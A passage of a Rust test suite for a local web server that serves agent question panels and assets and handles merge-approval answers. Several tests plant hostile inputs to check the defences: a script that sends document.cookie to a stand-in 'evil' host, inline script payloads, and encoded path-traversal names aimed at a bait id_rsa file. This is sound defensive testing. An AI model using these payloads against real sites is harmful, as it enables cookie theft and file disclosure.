"the restarted stand-in failed as well"
}))
})
}
async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
for _ in 0..SETTLE_STEPS {
let view = fx.get("/api/loop").await.json();
if want(&view) {
return view;
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
panic!(
"the loop never settled: {}",
fx.get("/api/loop").await.json()
);
}
fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
let store = fx.questions();
let mut q = Question::new(
"20260902-000000-beef".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
summary.to_owned(),
"because it matters".to_owned(),
choices.iter().map(|c| (*c).to_owned()).collect(),
);
store.put(&mut q).expect("put question");
q.id
}
fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
let store = fx.questions();
let mut q = Question::new(
"20260902-000000-beef".to_owned(),
"land".to_owned(),
"fix".to_owned(),
"Merge this?".to_owned(),
"the diff is in the panel".to_owned(),
vec!["merge".to_owned(), "hold".to_owned()],
);
let staging = fx.home.path().join("staging");
std::fs::create_dir_all(&staging).expect("staging dir");
let sources: Vec<PathBuf> = assets
.iter()
.map(|(name, bytes)| {
let path = staging.join(name);
std::fs::write(&path, bytes).expect("write staged asset");
path
})
.collect();
store
.put_panel(&mut q, html, &sources)
.expect("write the panel");
store.put(&mut q).expect("put question");
q.id
}
fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
seed_talk_at(&fx.talks(), id, status)
}
fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
std::fs::create_dir_all(store.root()).expect("talks dir");
let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
.expect("serialize a seat");
let body = serde_json::json!({
"schema": 1,
"id": id,
"repo": "/repo/magi",
"agent": "mock",
"status": status,
"turns": [],
"created_at": Timestamp::now().to_string(),
"updated_at": Timestamp::now().to_string(),
"seat": seat,
});
std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
store.get(id).expect("the seeded talk has to be readable");
id.to_owned()
}
#[tokio::test]
async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<h1>Merge?</h1><img src=\"diff.svg\">",
&[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
);
for path in [
format!("/api/questions/{id}/panel"),
format!("/api/questions/{id}/asset/diff.svg"),
] {
let res = fx.get(&path).await;
assert_eq!(res.status, 200, "{path}: {}", res.body);
assert_eq!(
res.header("content-security-policy"),
Some(
"default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
font-src data:; base-uri 'none'; form-action 'none'; \
frame-ancestors 'self'"
),
"{path} is the only thing between a hostile panel and the tailnet"
);
assert_eq!(
res.header("x-content-type-options"),
Some("nosniff"),
"{path}: a browser must not re-decide the type we sent"
);
assert_eq!(
res.header("referrer-policy"),
Some("no-referrer"),
"{path}: a panel must not leak the question id off the machine"
);
let pre = fx.head(&path).await;
assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
assert_eq!(
pre.header("content-security-policy"),
res.header("content-security-policy"),
"{path}: the preflight carries the same policy"
);
assert_eq!(
pre.header("content-type"),
res.header("content-type"),
"{path}: the preflight carries the same type"
);
}
}
#[tokio::test]
async fn a_panel_reaches_the_browser_byte_for_byte() {
let fx = Fixture::start().await;
let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
let id = panel(&fx, html, &[]);
let res = fx.get(&format!("/api/questions/{id}/panel")).await;
assert_eq!(res.status, 200);
assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
assert_eq!(
res.header("content-disposition"),
None,
"the panel itself is rendered in the frame, not downloaded"
);
}
#[tokio::test]
async fn an_svg_asset_is_a_download_and_a_png_is_not() {
let fx = Fixture::start().await;
let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
let id = panel(
&fx,
"<img src=\"diff.svg\"><img src=\"shot.png\">",
&[("diff.svg", svg), ("shot.png", png)],
);
let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
assert_eq!(as_svg.status, 200);
assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
assert_eq!(as_png.status, 200);
assert_eq!(as_png.header("content-type"), Some("image/png"));
assert_eq!(
as_png.header("content-disposition"),
None,
"a raster image has no execution surface, so tapping it still shows it"
);
assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
}
#[tokio::test]
async fn an_html_asset_is_never_served_as_html() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<p>see the notes</p>",
&[
(
"notes.html",
b"<script>fetch('http://evil/'+document.cookie)</script>",
),
("hook.js", b"fetch('http://evil/')"),
("data.json", b"{}"),
("HEADLINE.TXT", b"plain"),
],
);
for name in ["notes.html", "hook.js", "data.json"] {
let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
assert_eq!(res.status, 200, "{name}: {}", res.body);
assert_eq!(
res.header("content-type"),
Some("application/octet-stream"),
"{name} must not be a type the browser will execute or render"
);
}
let txt = fx
.get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
.await;
assert_eq!(
txt.header("content-type"),
Some("text/plain; charset=utf-8")
);
}
#[tokio::test]
async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
let fx = Fixture::start().await;
let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
for encoded in [
"%2e%2e%2fid_rsa",
"..%2fid_rsa",
"..%5cid_rsa",
"%2e%2e%5cid_rsa",
"diff%00.svg",
"..",
".hidden",
"%2e%2e%2f%2e%2e%2fid_rsa",
] {
let res = fx
.get(&format!("/api/questions/{id}/asset/{encoded}"))
.await;
assert_eq!(
res.status, 400,
"`{encoded}` has to be refused by name, not looked up: {}",
res.body
);
assert!(res.json()["error"].is_string(), "{}", res.body);
}
for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
let res = fx
.get(&format!("/api/questions/{id}/asset/{literal}"))
.await;
assert_eq!(
res.status, 404,
"`{literal}` must not match the asset route at all: {}",
res.body
);
}
}
#[tokio::test]
async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
let fx = Fixture::start().await;
let plain = ask(&fx, "Which backend?", &["SQLite"]);
let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
assert_eq!(none.status, 404, "{}", none.body);
assert!(none.json()["error"].is_string(), "{}", none.body);
assert_eq!(
fx.head(&format!("/api/questions/{plain}/panel"))
.await
.status,
404,
"the preflight is the only way the client can learn this"
);
let missing = fx
.get(&format!("/api/questions/{with_panel}/asset/absent.png"))
.await;
assert_eq!(missing.status, 404, "{}", missing.body);
assert!(missing.json()["error"].is_string(), "{}", missing.body);
assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
assert_eq!(
fx.get("/api/questions/nope/asset/diff.svg").await.status,
404
);
}
#[tokio::test]
async fn a_run_with_an_open_question_reads_as_waiting() {
let fx = Fixture::start().await;
let run = "20260902-000000-beef".to_owned();
write_run(&fx.runs(), &run, RunStatus::Implementing);
let before = fx.get("/api/runs").await.json();
assert_eq!(before[0]["waiting"], false, "{before}");
let store = fx.questions();
let mut q = Question::new(
run.clone(),
"implement".to_owned(),
"impl-A".to_owned(),
"Which backend?".to_owned(),
String::new(),
vec!["SQLite".to_owned()],
);
store.put(&mut q).expect("put");
let during = fx.get("/api/runs").await.json();
assert_eq!(during[0]["waiting"], true, "{during}");
q.answer(Answer::Choice("SQLite".to_owned()))
.expect("answer");
store.put(&mut q).expect("put");
let after = fx.get("/api/runs").await.json();
assert_eq!(after[0]["waiting"], false, "{after}");
}
#[tokio::test]
async fn an_open_question_is_listed_and_counted_by_health() {
let fx = Fixture::start().await;
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let listed = fx.get("/api/questions").await.json();
assert_eq!(listed.as_array().expect("array").len(), 1);
assert_eq!(listed[0]["id"], id);
assert_eq!(listed[0]["status"], "open");
assert_eq!(listed[0]["choices"][1], "Redis");
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
}
fn obsolete_approval_state() -> RunState {
let mut state = crate::land::tests::repair_state(true, true);
state.pr = Some(crate::run::PrRecord {
url: "https://github.com/example/repo/pull/42".into(),
number: 42,
state: "open".into(),
checks: "green".into(),
round: 1,
rounds: 4,
red_at_merge: Vec::new(),
});
state
}
#[tokio::test]
async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
for owner in ["missing", "current", "completed", "later"] {
let fx = Fixture {
home: TempDir::new().unwrap(),
addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
};
let mut state = obsolete_approval_state();
state.status = RunStatus::Landing;
state.parked = true;
state.driver_exited = true;
let mut q = Question::new(
state.id.clone(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Old approval".into(),
"Original evidence".into(),
vec!["merge".into(), "hold".into()],
);
state.land_approval = Some(crate::run::LandApproval {
question: q.id.clone(),
head: "head".into(),
});
state.save_under(fx.home.path()).unwrap();
let stale = state.clone();
fx.questions().put(&mut q).unwrap();
let mut task = Task::new(
"Owner".into(),
"Original instruction".into(),
state.repo.clone(),
Source::Human,
);
task.runs.push(state.id.clone());
task.status = if owner == "completed" {
TaskStatus::Done
} else {
TaskStatus::Parked
};
if owner == "later" {
task.runs.push("later-run".into());
}
if owner != "missing" {
fx.queue().put(&mut task).unwrap();
}
let ui = Arc::new(Ui::new(
fx.queue(),
fx.questions(),
fx.talks(),
fx.runs(),
fx.home.path().into(),
state.repo.clone(),
));
let response = question_answer(
State(ui),
Path(q.id.clone()),
Ok(Json(NewAnswer {
choice: Some(crate::merge_decision::DISMISS.into()),
text: None,
..Default::default()
})),
)
.await
.unwrap();
assert_eq!(
response.0.question.resolution().as_deref(),
Some(crate::merge_decision::DISMISS)
);
let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
assert_eq!(disk.status, RunStatus::Superseded);
assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
assert!(!crate::merge_decision::resumable_hold(&disk));
assert_eq!(
serde_json::to_value(&disk.pr).unwrap(),
serde_json::to_value(&stale.pr).unwrap()
);
assert_eq!(fx.questions().count_open(), 0);
assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
if owner == "missing" {
assert!(fx.queue().list().is_empty());
} else {
let after = fx.queue().get(&task.id).unwrap();
assert_eq!(
after.status,
if owner == "current" {
TaskStatus::Done
} else {
task.status
}
);
assert_eq!(after.runs, task.runs);
assert_eq!(after.instruction, task.instruction);
assert_eq!(after.action_applied(&q.id), owner == "current");
}
}
}
#[tokio::test]
async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
let fx = Fixture::start().await;
let mut state = obsolete_approval_state();
state.status = RunStatus::Landing;
state.parked = true;
state.driver_exited = true;
let mut q = Question::new(
state.id.clone(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Superseded PR approval".into(),
"Original review evidence".into(),
vec!["merge".into(), "hold".into()],
);
state.land_approval = Some(crate::run::LandApproval {
question: q.id.clone(),
head: "old-reviewed-head".into(),
});
state.save_under(fx.home.path()).unwrap();
let stale_driver = state.clone();
fx.questions().put(&mut q).unwrap();
let path = fx
.home
.path()
.join("questions")
.join(format!("{}.json", q.id));
let mut legacy = serde_json::to_value(&q).unwrap();
legacy["schema"] = 9.into();
legacy.as_object_mut().unwrap().remove("merge_target");
std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
let answer_path = format!("/api/questions/{}/answer", q.id);
let res = fx.post(&answer_path, Some(&body)).await;
assert_eq!(res.status, 200, "{}", res.body);
let disk = fx.questions().get(&q.id).unwrap();
assert_eq!(
disk.resolution().as_deref(),
Some(crate::merge_decision::DISMISS)
);
assert!(disk.detail.starts_with("Original review evidence"));
let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
assert_eq!(retired.status, RunStatus::Superseded);
assert_eq!(
serde_json::to_value(&retired.pr).unwrap(),
serde_json::to_value(&state.pr).unwrap()
);
assert!(!retired.merge_decision.as_ref().unwrap().closed);
assert!(!crate::merge_decision::resumable_hold(&retired));
assert!(fx.queue().list().is_empty());
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
let addr = Fixture::serve(
fx.home.path(),
PathBuf::from("/repo/magi"),
launch_idle,
None,
)
.await;
let reconnected = Fixture {
home: fx.home,
addr,
};
let listed = reconnected.get("/api/questions").await.json();
assert!(
listed
.as_array()
.unwrap()
.iter()
.all(|q| q["status"] != "open")
);
assert_eq!(listed[0]["id"], q.id, "history remains available");
assert_eq!(
reconnected.get("/api/health").await.json()["questions_open"],
0
);
assert_eq!(
reconnected
.post(&answer_path, Some(r#"{"choice":"merge"}"#))
.await
.status,
409
);
assert!(
reconnected
.questions()
.update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
.is_err()
);
assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
}
#[tokio::test]
async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
let fx = Fixture::start().await;
let mut state = obsolete_approval_state();
state.status = RunStatus::Landing;
state.driver_exited = true;
let mut q = Question::new(
state.id.clone(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Obsolete approval".into(),
String::new(),
vec!["merge".into(), "hold".into()],
);
state.land_approval = Some(crate::run::LandApproval {
question: q.id.clone(),
head: "head".into(),
});
state.save_under(fx.home.path()).unwrap();
fx.questions().put(&mut q).unwrap();
let mut task = Task::new(
"Owner".into(),
"Original instruction".into(),
state.repo.clone(),
Source::Human,
);
task.runs = vec![state.id.clone(), "later-run".into()];
fx.queue().put(&mut task).unwrap();
let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
let claim = fx.queue().claim(&task.id).unwrap();
let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
let path = format!("/api/questions/{}/answer", q.id);
assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
assert!(fx.questions().get(&q.id).unwrap().status.open());
drop(claim);
let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
assert!(fx.questions().get(&q.id).unwrap().status.open());
drop(publication);
state.driver_exited = false;
state.driver_pid = None;
state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
assert_eq!(
state.liveness_under(fx.home.path(), false),
crate::run::Liveness::Unknown
);
assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
state.driver_exited = true;
state.land_armed_head = Some("head".into());
state.save_under(fx.home.path()).unwrap();
assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
state.land_armed_head = None;
state.save_under(fx.home.path()).unwrap();
assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
}
#[tokio::test]
async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
let fx = Fixture::start().await;
let mut state = obsolete_approval_state();
state.status = RunStatus::Landing;
state.driver_exited = true;
let mut q = Question::new(
state.id.clone(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Obsolete approval".into(),
String::new(),
vec!["merge".into(), "hold".into()],
);
state.land_approval = Some(crate::run::LandApproval {
question: q.id.clone(),
head: "head".into(),
});
state.save_under(fx.home.path()).unwrap();
fx.questions().put(&mut q).unwrap();
let mut task = Task::new(
"Owner".into(),
"Original instruction".into(),
state.repo.clone(),
Source::Human,
);
task.runs.push(state.id.clone());
task.status = TaskStatus::Parked;
fx.queue().put(&mut task).unwrap();
state.merge_decision = Some(crate::merge_decision::Decision {
question: q.id.clone(),
target: crate::merge_decision::Target {
pr: state.pr.as_ref().unwrap().url.clone(),
head: "head".into(),
language: "ja".into(),
},
choice: crate::merge_decision::DISMISS.into(),
closed: false,
replacement_run: None,
replacement_pr: None,
});
state.status = RunStatus::Superseded;
state.save_under(fx.home.path()).unwrap();
let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
let path = format!("/api/questions/{}/answer", q.id);
assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
let done = fx.queue().get(&task.id).unwrap();
assert_eq!(done.status, TaskStatus::Done);
assert_eq!(done.runs, task.runs);
assert_eq!(done.instruction, task.instruction);
assert!(done.action_applied(&q.id));
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
assert!(!fx.questions().get(&q.id).unwrap().status.open());
}
#[tokio::test]
async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
let home = TempDir::new().unwrap();
let ui = Arc::new(Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_owned(),
home.path().to_owned(),
));
let talks = &ui.talks;
let chat =
talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
let mut q = Question::new(
"run".into(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Merge?".into(),
String::new(),
vec!["merge".into(), "hold".into()],
);
q.routed_task = Some("task".into());
q.routed_chat = Some(chat.id.clone());
q.merge_target = Some(crate::merge_decision::Target {
pr: "https://example.test/pull/1".into(),
head: "head-a".into(),
language: "en".into(),
});
ui.questions.put(&mut q).unwrap();
let send = |body| {
question_answer(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
)
};
let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
assert!(send(wrong_chat).await.is_err());
let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
assert!(send(stale).await.is_err());
assert!(ui.questions.get(&q.id).unwrap().status.open());
assert!(send(button.clone()).await.is_ok());
assert_eq!(
ui.questions.get(&q.id).unwrap().resolution().as_deref(),
Some("merge")
);
assert!(send(button).await.is_err());
}
#[tokio::test]
async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
let home = TempDir::new().unwrap();
let ui = Arc::new(Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_owned(),
home.path().to_owned(),
));
for choice in [crate::land::APPROVE, crate::land::HOLD] {
let mut q = Question::new(
"run".into(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Merge?".into(),
String::new(),
vec!["merge".into(), choice.into()],
);
q.routed_task = Some("task".into());
q.merge_target = Some(crate::merge_decision::Target {
pr: "https://example.test/pull/1".into(),
head: "head-a".into(),
language: "en".into(),
});
ui.questions.put(&mut q).unwrap();
let answer = |c: &str| {
question_answer(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(
serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
.unwrap(),
)),
)
};
let _ = answer(choice).await.unwrap();
assert_eq!(
ui.questions.get(&q.id).unwrap().resolution().as_deref(),
Some(choice)
);
}
}
#[tokio::test]
async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
let home = TempDir::new().unwrap();
let ui = Arc::new(Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_owned(),
home.path().to_owned(),
));
let mut q = Question::new(
"run".into(),
crate::github_text::ASK_NODE.into(),
"posting-gate".into(),
"Post?".into(),
String::new(),
vec!["use fallback".into()],
);
q.routed_task = Some("task".into());
ui.questions.put(&mut q).unwrap();
let sent = question_answer(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(
serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
.unwrap(),
)),
)
.await;
let _ = sent.unwrap();
assert_eq!(
ui.questions.get(&q.id).unwrap().resolution().as_deref(),
Some("use fallback")
);
}
#[tokio::test]
async fn merge_decision_api_persists_exact_target_and_selected_action() {
let fx = Fixture {
home: TempDir::new().unwrap(),
addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
};
for choice in [
crate::land::HOLD,
crate::land::REPAIR,
crate::land::APPROVE,
crate::merge_decision::WITHDRAW,
"reimplement:beta",
] {
let mut q = Question::new(
"old-run".into(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Decision".into(),
"Review findings".into(),
vec![
"merge".into(),
"hold".into(),
crate::land::REPAIR.into(),
crate::merge_decision::WITHDRAW.into(),
"reimplement:beta".into(),
],
);
q.merge_target = Some(crate::merge_decision::Target {
pr: "https://github.com/example/repo/pull/42".into(),
head: "exact-reviewed-head".into(),
language: "ja".into(),
});
q.consult = Some(ask::ChatConsult {
talk: "another-conversation".into(),
at: jiff::Timestamp::now(),
});
fx.questions().put(&mut q).unwrap();
let ui = Arc::new(Ui::new(
fx.queue(),
fx.questions(),
fx.talks(),
fx.runs(),
fx.home.path().into(),
std::path::PathBuf::from("."),
));
let response = question_answer(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(NewAnswer {
choice: Some(choice.into()),
text: None,
..Default::default()
})),
)
.await
.unwrap();
assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
let disk = fx.questions().get(&q.id).unwrap();
assert_eq!(disk.merge_target, q.merge_target);
assert_eq!(disk.consult, q.consult);
assert_eq!(disk.resolution().as_deref(), Some(choice));
assert!(
question_answer(
State(ui),
Path(q.id.clone()),
Ok(Json(NewAnswer {
choice: Some("merge".into()),
text: None,
..Default::default()
}))
)
.await
.is_err(),
"an already settled decision cannot turn into merge approval"
);
}
}
#[tokio::test]
async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
let fx = Fixture {
home: TempDir::new().unwrap(),
addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
};
let mut state = crate::land::tests::repair_state(true, true);
state.status = RunStatus::Landing;
state.parked = true;
state.driver_exited = true;
let mut task = Task::new(
"Existing PR owner".into(),
state.instruction.clone(),
state.repo.clone(),
Source::Human,
);
task.runs.push(state.id.clone());
task.status = TaskStatus::Parked;
fx.queue().put(&mut task).unwrap();
let mut q = Question::new(
state.id.clone(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Contested merge".into(),
"Original evidence".into(),
vec!["merge".into(), "hold".into()],
);
state.land_approval = Some(crate::run::LandApproval {
question: q.id.clone(),
head: "reviewed-head".into(),
});
state.save_under(fx.home.path()).unwrap();
fx.questions().put(&mut q).unwrap();
task.hold_manual(Some("Pause this PR".into()));
fx.queue().put(&mut task).unwrap();
let ui = Arc::new(Ui::new(
fx.queue(),
fx.questions(),
fx.talks(),
fx.runs(),
fx.home.path().to_path_buf(),
state.repo.clone(),
));
let response = question_answer(
State(ui),
Path(q.id.clone()),
Ok(Json(NewAnswer {
choice: Some(crate::land::REPAIR.into()),
text: None,
..Default::default()
})),
)
.await
.unwrap();
assert_eq!(response.0.question.id, q.id);
let upgraded = fx.questions().get(&q.id).unwrap();
assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
assert!(upgraded.detail.starts_with("Original evidence"));
let claim = fx.queue().claim(&task.id).unwrap();
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
assert!(
fx.queue().get(&task.id).unwrap().resume_override.is_none(),
"an existing driver keeps its claim"
);
drop(claim);
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
let resumed = fx.queue().get(&task.id).unwrap();
assert_eq!(
resumed
.resume_override
.as_ref()
.unwrap()
.pinned_run
.as_deref(),
Some(state.id.as_str())
);
assert!(resumed.status.runnable());
assert_eq!(resumed.instruction, task.instruction);
assert_eq!(resumed.runs, task.runs);
assert!(resumed.action_applied(&q.id));
crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
assert_eq!(fx.queue().list().len(), 1);
assert_eq!(
fx.queue().get(&task.id).unwrap().resume_override,
resumed.resume_override
);
let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
assert!(
disk.merge_repairs.is_empty(),
"only the claimed run driver may execute repair"
);
assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
}
#[tokio::test]
async fn answering_records_the_choice_and_a_second_answer_conflicts() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let path = format!("/api/questions/{id}/answer");
let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
let body = res.json();
assert_eq!(body["status"], "answered");
assert_eq!(body["answer"]["choice"], "Redis");
let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
assert_eq!(again.status, 409, "{}", again.body);
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
}
#[tokio::test]
async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let mut q = Question::new(
"task".into(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"Explain?".into(),
String::new(),
vec!["hold".into()],
);
q.deputy = Some(ask::Deputy::new("context".into()));
ui.questions.put(&mut q).unwrap();
let mut cfg = stub_config();
cfg.daemon.max_deputies = 0;
let mut status = crate::daemon::Status::new();
status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
let error = question_say(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(NewSay {
body: "Explain the findings".into(),
})),
)
.await
.unwrap_err();
assert_eq!(
error.text_reason,
Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
);
assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
let mut text = Question::new(
"task".into(),
"ask".into(),
"operator".into(),
"Which name?".into(),
String::new(),
vec![],
);
ui.questions.put(&mut text).unwrap();
let Json(view) = question_answer(
State(ui.clone()),
Path(text.id.clone()),
Ok(Json(NewAnswer {
choice: None,
text: Some("chosen name".into()),
..Default::default()
})),
)
.await
.unwrap();
assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
assert!(!ui.questions.get(&text.id).unwrap().status.open());
}
#[tokio::test]
async fn question_text_handler_admission_without_transport() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let mut q = Question::new(
"task".into(),
crate::land::APPROVAL_NODE.into(),
"land".into(),
"May this PR merge?".into(),
String::new(),
vec!["hold".into()],
);
q.deputy = Some(ask::Deputy::new("reviewed head".into()));
q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
ui.questions.put(&mut q).unwrap();
let say = || {
Ok(Json(NewSay {
body: "Explain the findings".into(),
}))
};
let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
.await
.unwrap_err();
assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
let response = rejected.into_response();
let body = axum::body::to_bytes(response.into_body(), usize::MAX)
.await
.unwrap();
let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
assert_eq!(body["code"], "question_text_unavailable");
assert_eq!(body["reason"], "deputy_exhausted");
assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
.await
.unwrap();
assert_eq!(view.text_delivery.state, "live");
assert!(view.question.waiter.is_none());
assert!(view.question.cwd.is_none());
let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
ui.questions.drop_lease(&q.id);
let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
.await
.unwrap_err();
assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
let _ = question_answer(
State(ui.clone()),
Path(q.id.clone()),
Ok(Json(NewAnswer {
choice: Some("hold".into()),
text: None,
..Default::default()
})),
)
.await
.unwrap();
assert_eq!(
ui.questions.get(&q.id).unwrap().resolution().as_deref(),
Some("hold")
);
}
#[tokio::test]
async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
let fx = Fixture::start().await;
let store = fx.questions();
let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
store
.update(&id, |q| {
q.node = crate::land::APPROVAL_NODE.to_owned();
q.deputy = Some(ask::Deputy::new("approval".to_owned()));
q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
Ok(())
})
.unwrap();
let path = format!("/api/questions/{id}/say");
let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
assert_eq!(refused.status, 422, "{}", refused.body);
assert!(
refused.json()["error"]
.as_str()
.unwrap()
.contains("deputy_exhausted")
);
assert!(store.get(&id).unwrap().thread.is_empty());
